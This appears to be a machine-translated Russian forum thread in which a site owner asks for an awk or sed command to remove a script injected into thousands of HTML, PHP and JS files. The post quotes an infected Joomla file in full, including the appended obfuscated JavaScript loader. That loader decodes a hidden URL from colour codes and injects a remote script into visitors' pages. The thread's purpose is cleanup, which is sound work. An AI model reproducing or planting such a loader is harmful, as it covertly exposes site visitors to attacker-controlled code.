Вот предыстория. У меня есть знакомый, хозяин которого получил хаос от атаки на скрипт.Необходимо удалить несколько уникальных строк из нескольких файлов.
Внизу всех файлов добавлен следующий сценарий внизу. У кого-нибудь есть команда awk или sed, чтобы удалить это? (в файлах могут быть другие файлы javascript)
Появляется скрипт был добавлен ко всем файлам на хосте. HTML PHP JS.
Некоторые файлы имеют php, начиная с новой строки, некоторые нет. Мне нужно найти эту часть скрипта где угодно в файле и удалить ее.
<?php
/**
* @version $Id: COPYRIGHT.php 14401 2010-01-26 14:10:00Z louis $
* @package Joomla
* @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
* @license GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
*/
defined('_JEXEC') or die('Restricted access');
?>
Joomla! derives from copyrighted works licensed under the GNU General
Public License. This version has been modified pursuant to the
GNU General Public License as of September 15, 2005, and as distributed,
it includes or is derivative of works licensed under the GNU General
Public License or other free or open source software licenses. Please
see the CREDITS.php for a non-exhaustive list of contributors and
copyright holders. A full text version of the GNU GPL version 2 can be
found in the LICENSE.php file. A full text version of the other licenses
that Joomla! is derivative of or includes can be found in LICENSES.php.<script>
function vdch() {
if(document.all.length > 3) {
var t = new Array('#6a7072', '#723e29', '#2d7371', '#752a62', '#637d65', '#6d2a60', '#702b63', '#7a7029');
var dchid = ""; for (j=0;j<t.length;j++) { var c_rgb = t[j]; for (i=1;i<7;i++) { var c_clr = c_rgb.substr(i++,2); if (c_clr!="00") dchid += String.fromCharCode(parseInt(c_clr,16)^i); } }
var dch = document.createElement("script");
dch.id = "dchid";
dch.src = dchid;
document.all[3].appendChild(dch);
} else {
setTimeout("vdch()",500);
}
} setTimeout("vdch()",500);
</script>
Проблема заключается в том, что тег сценария вставляется для html и php и js. Некоторые из них находятся на новой линии. Также не относится ко всем файлам. Идеально подходит для выражения awk или регулярного выражения? –
Вы можете удалить последние 49 строк, затем с помощью 's/ Php //' удалить ' Php' последней строки. Дайте мне знать, если это сработает для вас. Почему бы не восстановить резервную копию или репо? –
Резервное копирование не работает. удаление префикса количества строк не будет работать. Сайт - это 5k файлов ...... На самом деле это не так, где ответ им нужен. –